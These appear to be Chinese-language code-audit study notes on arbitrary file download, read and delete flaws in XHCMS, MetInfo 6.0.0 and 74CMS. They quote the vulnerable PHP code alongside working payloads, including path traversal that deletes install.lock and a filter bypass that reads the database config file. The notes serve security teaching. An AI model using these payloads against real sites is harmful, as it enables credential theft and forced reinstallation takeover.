知识点(很难碰到)
文件读取和文件下载：主要是获取网站敏感文件(对后期安全测试有所帮助)(数据库配置文件，接口配置文件，账户配置文件，操作系统敏感文件，口令密码等，网站自身的敏感文件)。
➢审计分析-文件下载-XHCMS-功能点
➢审计分析-文件读取-MetInfo-函数搜索
➢审计分析-文件删除-74CMS-函数搜索
➢黑盒分析-下载读取-下载资源URL参数
白盒审计(XHCMS)
文件下载
下载漏洞 :=> 任意文件下载:下载谁 下载文件能不能控制 == 漏洞
<?php
require 'inc/conn.php';
$line=addslashes($_GET['line']);
$type=addslashes($_GET['type']);
$fileid=addslashes($_GET['cid']);
if(!is_numeric($fileid)){
echo "错误的下载请求！";
exit;}
$query = "SELECT * FROM download WHERE ( id='$fileid')";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$down= mysql_fetch_array($result);
$fileadd=$down['softadd'];
$fileadd2=$down['softadd2'];
if ($type=='soft' AND $line=='pan'){
if ($fileadd2==""){
echo "<script language=JavaScript>alert('抱歉，程序尚在开发当中，请稍后再试！');history.back();window.close();</script>";
exit;
}
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误：'.mysql_error());
header("Location: $fileadd2");
exit;
}
if ($type=='soft' AND ($line=="telcom" OR $line=="unicom")){
$filename=$down['title'];
$filename2=$down['version'];
$filename=iconv("UTF-8", "GBK", $filename);
$houzhui=substr($fileadd,strrpos($fileadd,"."));
$sourceFile = $fileadd;
$outFile = $filename." ".$filename2.$houzhui;
$file_extension = strtolower(substr(strrchr($sourceFile, "."), 1));
if (!is_file($sourceFile)) {
die("<script language=JavaScript>alert('抱歉，本地下载未发现文件，请选择网盘下载！');history.back();window.close();</script>");
}
$len = filesize($sourceFile);
$filename = basename($sourceFile);
$outFile_extension = strtolower(substr(strrchr($outFile, "."), 1));
switch ($outFile_extension) {
case "exe" :
$ctype = "application/octet-stream";
break;
case "zip" :
$ctype = "application/zip";
break;
case "mp3" :
$ctype = "audio/mpeg";
break;
case "mpg" :
$ctype = "video/mpeg";
break;
case "avi" :
$ctype = "video/x-msvideo";
break;
default :
$ctype = "application/force-download";
}
header("Cache-Control:");
header("Cache-Control: public");
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=" . $outFile);
header("Accept-Ranges: bytes");
$size = filesize($sourceFile);
if (isset ($_SERVER['HTTP_RANGE'])) {
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size -1;
$new_length = $size2 - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size -1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fp = fopen("$sourceFile", "rb");
fseek($fp, $range);
while (!feof($fp)) {
set_time_limit(0);
print (fread($fp, 1024 * 8));
flush();
ob_flush();
}
fclose($fp);
$query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'";
@mysql_query($query) or die('修改错误：'.mysql_error());
exit ();
}
?>
|
流程-功能点抓包-寻代码文件-寻变量控制-构造测试
Payload:
softadd=d:/1.txt
softadd2=d:/1.txt
|
文件删除：74CMS-配合删除重装
功能点或函数
流程-特定函数搜索-寻触发调用-构造Payload测试
upload/admin/admin_article.php:169
elseif($act == 'del_img')
{
check_token();
$id=intval($_GET['id']);
$img=$_GET['img'];
$sql="update ".table('article')." set Small_img='' where id=".$id." LIMIT 1";
$db->query($sql);
@unlink($upfiles_dir.$img);
@unlink($thumb_dir.$img);
adminmsg("删除缩略图成功！",2);
}
upload/admin/include/admin_common.inc.php:48
$upfiles_dir="../data/".$_CFG['updir_images']."/";
Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock
|
文件读取：MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造Payload测试
MetInfo6.0.0
app/system/include/module/old_thumb.class.php
class old_thumb extends web{
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
Payload：/include/thumb.php?dir=http\..\..\config\config_db.php
|
黑盒探针
1、URL参数名及参数值分析：
参数名：英文对应翻译
参数值：目录或文件名
2、功能点自行修改后分析：
文件下载，删除，读取等
wechat
alipay
